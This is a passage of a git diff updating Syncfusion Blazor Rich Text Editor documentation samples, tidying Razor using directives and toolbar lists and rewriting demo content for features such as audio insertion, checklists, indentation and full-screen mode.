+To enhance code block readability, integrate a third-party syntax highlighter like [Prism.js](https://prismjs.com/) or [Highlight.js](https://highlightjs.org/), which supports numerous languages and customizable themes. Although live code block highlighting (real-time syntax highlighting during editing) is not possible in the Rich Text Editor. The highlighter can apply color-coded formatting to code blocks when the content is displayed on the frontend, such as in blog posts, website content, or preview mode. This ensures a polished presentation for end users.
 
 ## Tips for editing around code blocks
 
diff --git a/blazor/rich-text-editor/tools/code-snippet/audio-authentication.razor b/blazor/rich-text-editor/tools/code-snippet/audio-authentication.razor
index 4e77ffbcba..5ce0bdb693 100644
--- a/blazor/rich-text-editor/tools/code-snippet/audio-authentication.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/audio-authentication.razor
@@ -1,8 +1,9 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
-        <RichTextEditorEvents FileUploading="@onFileUploading"></RichTextEditorEvents>
-        <RichTextEditorAudioSettings SaveUrl="api/Audio/Save" Path="./Audio/"></RichTextEditorAudioSettings>
+    <RichTextEditorEvents FileUploading="@onFileUploading"></RichTextEditorEvents>
+    <RichTextEditorAudioSettings SaveUrl="api/Audio/Save" Path="./Audio/"></RichTextEditorAudioSettings>
 </SfRichTextEditor>
 @code {
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
diff --git a/blazor/rich-text-editor/tools/code-snippet/audio-display-position.razor b/blazor/rich-text-editor/tools/code-snippet/audio-display-position.razor
index d0e5efa301..f456f44ae9 100644
--- a/blazor/rich-text-editor/tools/code-snippet/audio-display-position.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/audio-display-position.razor
@@ -1,25 +1,18 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
-        <RichTextEditorAudioSettings LayoutOption="DisplayLayoutOptions.Break"></RichTextEditorAudioSettings>
-        <p>
-            The Rich Text Editor control is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content.
-            Users can format their content using standard toolbar commands.
-        </p>
-        <p><b> Key features:</b></p>
-        <ul>
-            <li><p> Provides &lt; IFRAME &gt; and &lt; DIV &gt; modes </p></li>
-            <li><p> Capable of handling markdown editing.</p></li>
-            <li><p> Contains a modular library to load the necessary functionality on demand.</p></li>
-            <li><p> Provides a fully customizable toolbar.</p></li>
-            <li><p> Provides HTML view to edit the source directly for developers.</p></li>
-            <li><p> Supports third - party library integration.</p></li>
-            <li><p> Allows preview of modified content before saving it.</p></li>
-            <li><p> Handles images, hyperlinks, video, hyperlinks, uploads, etc.</p></li>
-            <li><p> Contains undo / redo manager.</p></li>
-            <li><p> Creates bulleted and numbered lists.</p></li>
-        </ul>
+    <RichTextEditorAudioSettings LayoutOption="DisplayLayoutOptions.Break"></RichTextEditorAudioSettings>
+    <h5>Rich Text Editor Audio Display</h5>
+    <p>The Rich Text Editor allows you to insert audio files and control their display behavior.</p>
+    <ul>
+        <li>When set to <b>Break</b>, the audio appears as a separate block element.</li>
+        <li>When set to <b>Inline</b>, the audio appears within the text flow alongside other content.</li>
+    </ul>
+    <h5>Try It Out!</h5>
+    <audio controls>
+        <source src="https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Audio.wav" type="audio/mp3" />
+    </audio>
 </SfRichTextEditor>
 @code {
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
diff --git a/blazor/rich-text-editor/tools/code-snippet/audio-drag-and-drop.razor b/blazor/rich-text-editor/tools/code-snippet/audio-drag-and-drop.razor
index f44585eeab..b4c9947a91 100644
--- a/blazor/rich-text-editor/tools/code-snippet/audio-drag-and-drop.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/audio-drag-and-drop.razor
@@ -1,20 +1,20 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
 
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
-        <RichTextEditorAudioSettings SaveUrl="@saveUrl" Path="@path"></RichTextEditorAudioSettings>
-        <p>
-            The Rich Text Editor supports seamless audio insertion through drag-and-drop functionality. Users can quickly insert audio files into their content with a simple drag-and-drop action.
-        </p>
-        <p><b>Key features:</b></p>
-        <ul>
-            <li>Supports local upload: Drag audio files from your local system (e.g., File Explorer, Finder) and drop them
-                directly into the editor.</li>
-            <li>Supports server upload: Configure the <code>SaveUrl</code> property to upload audio files to your server
-                before inserting them into the editor.</li>
-            <li>Supports common audio formats such as MP3, WAV, and M4A ,WMA</li>
-            <li>Fully customizable upload settings, including size limits and validation.</li>
-        </ul>
+    <RichTextEditorAudioSettings SaveUrl="@saveUrl" Path="@path"></RichTextEditorAudioSettings>
+    <p>
+        The Rich Text Editor supports seamless audio insertion through drag-and-drop functionality. Users can quickly insert audio files into their content with a simple drag-and-drop action.
+    </p>
+    <p><b>Key features:</b></p>
+    <ul>
+        <li>Supports local upload: Drag audio files from your local system (e.g., File Explorer, Finder) and drop them
+            directly into the editor.</li>
+        <li>Supports server upload: Configure the <code>SaveUrl</code> property to upload audio files to your server
+            before inserting them into the editor.</li>
+        <li>Supports common audio formats such as MP3, WAV, and M4A ,WMA</li>
+        <li>Fully customizable upload settings, including size limits and validation.</li>
+    </ul>
 </SfRichTextEditor>
 @code {
     private string saveUrl = "https://blazor.syncfusion.com/services/production/api/RichTextEditor/SaveFile";
diff --git a/blazor/rich-text-editor/tools/code-snippet/audio-rename.razor b/blazor/rich-text-editor/tools/code-snippet/audio-rename.razor
index 174ea0c9b6..757a3e83bf 100644
--- a/blazor/rich-text-editor/tools/code-snippet/audio-rename.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/audio-rename.razor
@@ -1,8 +1,9 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
-        <RichTextEditorEvents FileUploadSuccess="@onFileUploadSuccess"></RichTextEditorEvents>
-        <RichTextEditorAudioSettings SaveUrl="api/Audio/Rename" Path="./Audio/"></RichTextEditorAudioSettings>
+    <RichTextEditorEvents FileUploadSuccess="@onFileUploadSuccess"></RichTextEditorEvents>
+    <RichTextEditorAudioSettings SaveUrl="api/Audio/Rename" Path="./Audio/"></RichTextEditorAudioSettings>
 </SfRichTextEditor>
 @code {
     
diff --git a/blazor/rich-text-editor/tools/code-snippet/audio-restrict.razor b/blazor/rich-text-editor/tools/code-snippet/audio-restrict.razor
index 00c18549ec..bf994263c8 100644
--- a/blazor/rich-text-editor/tools/code-snippet/audio-restrict.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/audio-restrict.razor
@@ -1,28 +1,18 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
-        <RichTextEditorAudioSettings MaxFileSize="30000000"></RichTextEditorAudioSettings>
+    <RichTextEditorAudioSettings MaxFileSize="30000000"></RichTextEditorAudioSettings>
+    <h5>Maximum File Size Restriction</h5>
+    <p>You can control the size of audio files uploaded to the editor to ensure optimal performance and prevent large file uploads.</p>
+    <ul>
+        <li>The MaxFileSize property allows you to restrict audio uploads by defining the maximum allowed file size. By default, the maximum size is set to 30,000,000 bytes (approximately 30 MB). </li>
+        <li>Audio files exceeding this limit are blocked from being uploaded to ensure better control and performance.</li>
+    </ul>
 </SfRichTextEditor>
 @code {
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
     {
-        new ToolbarItemModel() { Command = ToolbarCommand.Audio },
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold },
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic },
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats },
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable },
-        new ToolbarItemModel() { Command = ToolbarCommand.Image },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.SourceCode },
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo },
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo }
+        new ToolbarItemModel() { Command = ToolbarCommand.Audio }
     };
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/tools/code-snippet/audio-save.razor b/blazor/rich-text-editor/tools/code-snippet/audio-save.razor
index ac2f4ca691..69874e5661 100644
--- a/blazor/rich-text-editor/tools/code-snippet/audio-save.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/audio-save.razor
@@ -1,7 +1,8 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
-        <RichTextEditorAudioSettings SaveUrl="api/Audio/Save" Path="./Audio/"></RichTextEditorAudioSettings>
+    <RichTextEditorAudioSettings SaveUrl="api/Audio/Save" Path="./Audio/"></RichTextEditorAudioSettings>
 </SfRichTextEditor>
 @code {
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
diff --git a/blazor/rich-text-editor/tools/code-snippet/audio-tool.razor b/blazor/rich-text-editor/tools/code-snippet/audio-tool.razor
index b38cbe9f2c..bb2e6a4732 100644
--- a/blazor/rich-text-editor/tools/code-snippet/audio-tool.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/audio-tool.razor
@@ -1,6 +1,23 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
+    <h4>Insert Audio in Rich Text Editor!</h4>
+    <p>You can insert and play audio files within this editor. Click inside the editor and use the audio tool to add an audio file.</p>
+    <h5>What You Can Do</h5>
+    <ul>
+        <li><strong>Insert Audio:</strong> Upload audio files from local storage or provide a direct audio URL.</li>
+        <li><strong>Playback Support:</strong> Play audio directly within the editor using built-in controls.</li>
+        <li><strong>Layout Options:</strong> Display audio as inline content or as a separate block element.</li>
+        <li><strong>Drag and Drop:</strong> Insert audio by dragging files directly into the editor.</li>
+        <li><strong>Copy and Paste:</strong> Paste audio files directly into the editor from your system.</li>
+        <li><strong>Replace Audio:</strong> Easily change the existing audio using the replace option.</li>
+        <li><strong>Remove Audio:</strong> Delete audio files from the content whenever needed.</li>
+    </ul>
+    <h5>Try It Out!</h5>
+    <audio controls>
+        <source src="https://cdn.syncfusion.com/ej2/richtexteditor-resources/RTE-Audio.wav" type="audio/mp3" />
+    </audio>
 </SfRichTextEditor>
 
 @code {
diff --git a/blazor/rich-text-editor/tools/code-snippet/basic-text-format.razor b/blazor/rich-text-editor/tools/code-snippet/basic-text-format.razor
index 49bb6d9f5d..bacba6d3df 100644
--- a/blazor/rich-text-editor/tools/code-snippet/basic-text-format.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/basic-text-format.razor
@@ -1,4 +1,5 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
     <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
@@ -24,6 +25,6 @@
         new ToolbarItemModel() { Command = ToolbarCommand.LowerCase },
         new ToolbarItemModel() { Command = ToolbarCommand.UpperCase },
         new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough },
-         new ToolbarItemModel() { Command = ToolbarCommand.InlineCode },
+        new ToolbarItemModel() { Command = ToolbarCommand.InlineCode }
     };
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/tools/code-snippet/bullet-format-list.razor b/blazor/rich-text-editor/tools/code-snippet/bullet-format-list.razor
index 8b0a9260e2..4778902e0a 100644
--- a/blazor/rich-text-editor/tools/code-snippet/bullet-format-list.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/bullet-format-list.razor
@@ -1,4 +1,5 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items = "@Tools" />
     <RichTextEditorBulletFormatList Items="@BulletList" />
diff --git a/blazor/rich-text-editor/tools/code-snippet/check-list.razor b/blazor/rich-text-editor/tools/code-snippet/check-list.razor
new file mode 100644
index 0000000000..cdcd8d9093
--- /dev/null
+++ b/blazor/rich-text-editor/tools/code-snippet/check-list.razor
@@ -0,0 +1,19 @@
+@using Syncfusion.Blazor.RichTextEditor
+
+<SfRichTextEditor>
+    <RichTextEditorToolbarSettings Items = "@Tools" />
+    <p>The Rich Text Editor provides checklist support to help you create task-based content.
+    You can add checklist items and update their status as you progress.</p>
+    <p><b>Key features:</b></p>
+    <ul class="e-rte-checklist">
+        <li><p>Add checklist items directly within the editor</p></li>
+        <li class="e-rte-checklist-checked"><p>Select or deselect items to mark progress</p></li>
+        <li><p>Use checklists for tasks, notes, or step-by-step workflows</p></li>
+    </ul>
+</SfRichTextEditor>
+@code {
+    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
+    {
+        new ToolbarItemModel() { Command = ToolbarCommand.Checklist }
+    };
+}
\ No newline at end of file
diff --git a/blazor/rich-text-editor/tools/code-snippet/clear-format.razor b/blazor/rich-text-editor/tools/code-snippet/clear-format.razor
index 4d97cd6694..7fcc0d1fe0 100644
--- a/blazor/rich-text-editor/tools/code-snippet/clear-format.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/clear-format.razor
@@ -1,4 +1,5 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
     <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
@@ -16,6 +17,6 @@
 @code {
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
     {
-        new ToolbarItemModel() { Command = ToolbarCommand.ClearFormat }, 
+        new ToolbarItemModel() { Command = ToolbarCommand.ClearFormat }
     };
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/tools/code-snippet/format-painter-properties.razor b/blazor/rich-text-editor/tools/code-snippet/format-painter-properties.razor
index 3473b0095a..914e9d702f 100644
--- a/blazor/rich-text-editor/tools/code-snippet/format-painter-properties.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/format-painter-properties.razor
@@ -1,8 +1,10 @@
 @using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor  @bind-Value="@EditorContent">
     <RichTextEditorToolbarSettings Items="@Tools" />
     <RichTextEditorFormatPainterSettings AllowedFormats="p; h1; h2; h3; div; ul; ol; li; span; strong; em; code;" DeniedFormats="h3(e-rte-block-blue-text){background-color,padding,color}[title]; li{color}; span(e-inline-text-highlight){color}[title]; strong{color}(e-rte-strong-bg);" />
 </SfRichTextEditor>
+
 @code {
     private string EditorContent = @"<h3>Format Painter in Rich Text Editor</h3><p>The <strong data-start=""50"" data-end=""68"">Format Painter</strong> allows you to quickly copy and apply text formatting within the editor, saving time and ensuring consistency.</p><h5>How to Use Format Painter?</h5>
     <ul>
diff --git a/blazor/rich-text-editor/tools/code-snippet/format-painter.razor b/blazor/rich-text-editor/tools/code-snippet/format-painter.razor
index f33d963d98..58cf42e63c 100644
--- a/blazor/rich-text-editor/tools/code-snippet/format-painter.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/format-painter.razor
@@ -1,7 +1,9 @@
 @using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor @bind-Value="@EditorContent">
     <RichTextEditorToolbarSettings Items="@Tools" />
 </SfRichTextEditor>
+
 @code {
     private string EditorContent = @"<h3>Format Painter in Rich Text Editor</h3><p>The <strong data-start=""50"" data-end=""68"">Format Painter</strong> allows you to quickly copy and apply text formatting within the editor, saving time and ensuring consistency.</p><h5>How to Use Format Painter?</h5>
     <ul>
diff --git a/blazor/rich-text-editor/tools/code-snippet/fullscreen.razor b/blazor/rich-text-editor/tools/code-snippet/fullscreen.razor
index 35bb33e6da..87fe777636 100644
--- a/blazor/rich-text-editor/tools/code-snippet/fullscreen.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/fullscreen.razor
@@ -1,44 +1,20 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
-    <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
-        <p><b> Key features:</b></p>
-        <ul>
-            <li><p> Provides <b>IFRAME</b> and <b>DIV</b> modes </p></li>
-            <li><p> Capable of handling markdown editing.</p></li>
-            <li><p> Contains a modular library to load the necessary functionality on demand.</p></li>
-            <li><p> Provides a fully customizable toolbar.</p></li>
-            <li><p> Provides HTML view to edit the source directly for developers.</p></li>
-            <li><p> Supports third - party library integration.</p></li>
-            <li><p> Allows preview of modified content before saving it.</p></li>
-        </ul>
+    <h5>Full Screen Mode in Rich Text Editor</h5>
+    <ul>
+        <li>Expands the Rich Text Editor to utilize the full browser viewport for enhanced visibility.</li>
+        <li>Provides a focused, distraction-free environment for creating and editing content.</li>
+        <li>Offers additional workspace to access toolbar options and manage complex content easily.</li>
+        <li>Can be toggled using the Full Screen option in the toolbar for quick access.</li>
+        <li>Restores the editor to its original layout when exited from full screen mode.</li>
+    </ul>
 </SfRichTextEditor>
+
 @code {
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
     {
-        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Bold }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Italic }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Underline }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.StrikeThrough }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.FontColor }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.BackgroundColor }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Formats }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.OrderedList }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.UnorderedList }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Outdent }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Indent }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator },
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateLink }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Image }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.CreateTable }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Separator }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Undo }, 
-        new ToolbarItemModel() { Command = ToolbarCommand.Redo } 
+        new ToolbarItemModel() { Command = ToolbarCommand.FullScreen }
     };
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/tools/code-snippet/horizontal-line.razor b/blazor/rich-text-editor/tools/code-snippet/horizontal-line.razor
index 645cbd2f1a..1b3cea5b18 100644
--- a/blazor/rich-text-editor/tools/code-snippet/horizontal-line.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/horizontal-line.razor
@@ -1,4 +1,5 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
     <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
diff --git a/blazor/rich-text-editor/tools/code-snippet/indentations.razor b/blazor/rich-text-editor/tools/code-snippet/indentations.razor
new file mode 100644
index 0000000000..48205a4597
--- /dev/null
+++ b/blazor/rich-text-editor/tools/code-snippet/indentations.razor
@@ -0,0 +1,17 @@
+@using Syncfusion.Blazor.RichTextEditor
+
+<SfRichTextEditor>
+    <RichTextEditorToolbarSettings Items = "@Tools" />
+    <p>The Rich Text Editor provides indent and outdent options to adjust the spacing of your content. These options help organize text visually and improve readability.</p>
+    <p><b>Key features:</b></p>
+    <p>Increase indentation to shift content inward and create visual hierarchy.</p>
+    <p style="margin-left: 20px;">Decrease indentation to shift content outward and realign content.</p>
+    <p>Quickly format paragraphs for better structure and readability.</p>  
+</SfRichTextEditor>
+@code {
+    private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
+    {
+        new ToolbarItemModel() { Command = ToolbarCommand.Indent },
+        new ToolbarItemModel() { Command = ToolbarCommand.Outdent }
+    };
+}
\ No newline at end of file
diff --git a/blazor/rich-text-editor/tools/code-snippet/line-height.razor b/blazor/rich-text-editor/tools/code-snippet/line-height.razor
index 20101442c8..a551c1a3d4 100644
--- a/blazor/rich-text-editor/tools/code-snippet/line-height.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/line-height.razor
@@ -1,4 +1,5 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
     <RichTextEditorLineHeight Items="@LineHeightItems" Default="Default"></RichTextEditorLineHeight>
@@ -15,7 +16,7 @@
 @code {
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
     {
-        new ToolbarItemModel() { Command = ToolbarCommand.LineHeight }, 
+        new ToolbarItemModel() { Command = ToolbarCommand.LineHeight }
     };
     private List<DropDownItemModel> LineHeightItems = new()
     {
diff --git a/blazor/rich-text-editor/tools/code-snippet/nested-quotation-formatting.razor b/blazor/rich-text-editor/tools/code-snippet/nested-quotation-formatting.razor
index 03824b10e0..7d2688ecbd 100644
--- a/blazor/rich-text-editor/tools/code-snippet/nested-quotation-formatting.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/nested-quotation-formatting.razor
@@ -1,4 +1,5 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <blockquote>
         <p><strong>Outer Quote:</strong> The Rich Text Editor provides a flexible way to format quotations.</p>
diff --git a/blazor/rich-text-editor/tools/code-snippet/number-format-list.razor b/blazor/rich-text-editor/tools/code-snippet/number-format-list.razor
index ea318fa0e1..21611da013 100644
--- a/blazor/rich-text-editor/tools/code-snippet/number-format-list.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/number-format-list.razor
@@ -1,18 +1,16 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items = "@Tools" />
     <RichTextEditorNumberFormatList Items="@NumberList" />
-        <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
-        <p><b> Key features:</b></p>
-        <ul>
-            <li><p> Provides <b>IFRAME</b> and <b>DIV</b> modes </p></li>
-            <li><p> Capable of handling markdown editing.</p></li>
-            <li><p> Contains a modular library to load the necessary functionality on demand.</p></li>
-            <li><p> Provides a fully customizable toolbar.</p></li>
-            <li><p> Provides HTML view to edit the source directly for developers.</p></li>
-            <li><p> Supports third - party library integration.</p></li>
-            <li><p> Allows preview of modified content before saving it.</p></li>
-        </ul>
+    <p>The Numbered List feature in the Rich Text Editor allows users to create ordered lists, where each item is displayed with a sequence number. This is useful for organizing steps, instructions, or ranked information.</p>
+    <p><b>Key features:</b></p>
+    <ol>
+        <li><p>Supports different numbering formats such as numeric, alphabetic, and Roman styles.</p></li>
+        <li><p>Allows creation of nested (multi-level) lists.</p></li>
+        <li><p>Automatically updates numbering when items are edited.</p></li>
+        <li><p>Provides easy controls through the toolbar for list management.</p></li>
+    </ol>
 </SfRichTextEditor>
 @code {
     private List<ToolbarItemModel> Tools = new List<ToolbarItemModel>()
diff --git a/blazor/rich-text-editor/tools/code-snippet/quotation-formatting.razor b/blazor/rich-text-editor/tools/code-snippet/quotation-formatting.razor
index 2b8932522f..412af2dc24 100644
--- a/blazor/rich-text-editor/tools/code-snippet/quotation-formatting.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/quotation-formatting.razor
@@ -1,15 +1,15 @@
-@using Syncfusion.Blazor.RichTextEditor;
-<SfRichTextEditor>
+@using Syncfusion.Blazor.RichTextEditor
 
-   <blockquote><p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p></blockquote>
-        <p><b> Key features:</b></p>
-        <ul>
-            <li><p> Provides <b>IFRAME</b> and <b>DIV</b> modes </p></li>
-            <li><p> Capable of handling markdown editing.</p></li>
-            <li><p> Contains a modular library to load the necessary functionality on demand.</p></li>
-            <li><p> Provides a fully customizable toolbar.</p></li>
-            <li><p> Provides HTML view to edit the source directly for developers.</p></li>
-            <li><p> Supports third - party library integration.</p></li>
-            <li><p> Allows preview of modified content before saving it.</p></li>
-        </ul>
+<SfRichTextEditor>
+    <blockquote><p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p></blockquote>
+    <p><b> Key features:</b></p>
+    <ul>
+        <li><p> Provides <b>IFRAME</b> and <b>DIV</b> modes </p></li>
+        <li><p> Capable of handling markdown editing.</p></li>
+        <li><p> Contains a modular library to load the necessary functionality on demand.</p></li>
+        <li><p> Provides a fully customizable toolbar.</p></li>
+        <li><p> Provides HTML view to edit the source directly for developers.</p></li>
+        <li><p> Supports third - party library integration.</p></li>
+        <li><p> Allows preview of modified content before saving it.</p></li>
+    </ul>
 </SfRichTextEditor>
diff --git a/blazor/rich-text-editor/tools/code-snippet/text-alignment.razor b/blazor/rich-text-editor/tools/code-snippet/text-alignment.razor
index 3d4ed34c52..de910c23b4 100644
--- a/blazor/rich-text-editor/tools/code-snippet/text-alignment.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/text-alignment.razor
@@ -1,4 +1,5 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
     <p>The Rich Text Editor component is WYSIWYG ('what you see is what you get') editor that provides the best user experience to create and update the content. Users can format their content using standard toolbar commands.</p>
@@ -16,6 +17,6 @@
 @code {
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
     {
-        new ToolbarItemModel() { Command = ToolbarCommand.Alignments },
+        new ToolbarItemModel() { Command = ToolbarCommand.Alignments }
     };
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/tools/code-snippet/using-clear-format.razor b/blazor/rich-text-editor/tools/code-snippet/using-clear-format.razor
index c7c30a9416..dc069fc9e6 100644
--- a/blazor/rich-text-editor/tools/code-snippet/using-clear-format.razor
+++ b/blazor/rich-text-editor/tools/code-snippet/using-clear-format.razor
@@ -1,4 +1,5 @@
-@using Syncfusion.Blazor.RichTextEditor;
+@using Syncfusion.Blazor.RichTextEditor
+
 <SfRichTextEditor>
     <RichTextEditorToolbarSettings Items="@Items" />
     <p style="text-align: start;"><span style="color: rgb(37, 37, 37); font-family: &quot;Segoe UI&quot;, SegoeUI, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 16px; font-style: normal; font-weight: 400; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255); display: inline !important; float: none;">The </span><span style="color: rgb(37, 37, 37); font-family: &quot;Segoe UI&quot;, SegoeUI, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 16px; font-style: normal; font-weight: 400; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 0); float: none; display: inline !important;"><strong style="font-size: 16px;">clear format</strong></span><span style="color: rgb(37, 37, 37); font-family: &quot;Segoe UI&quot;, SegoeUI, &quot;Helvetica Neue&quot;, Helvetica, Arial, sans-serif; font-size: 16px; font-style: normal; font-weight: 400; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255); display: inline !important; float: none;"> tool is useful to remove all formatting styles (such as bold, italic, underline, color, superscript, subscript, and more) from currently selected text. As a result, all the text formatting will be cleared and return to its default formatting styles.</span><br></p>
@@ -6,6 +7,6 @@
 @code {
     private List<ToolbarItemModel> Items = new List<ToolbarItemModel>()
     {
-        new ToolbarItemModel() { Command = ToolbarCommand.ClearFormat }, 
+        new ToolbarItemModel() { Command = ToolbarCommand.ClearFormat }
     };
 }
\ No newline at end of file
diff --git a/blazor/rich-text-editor/tools/code-snippet/video-authentication.razor b/blazor/rich-text-editor/tools/code-snippet/video-authentication.razor
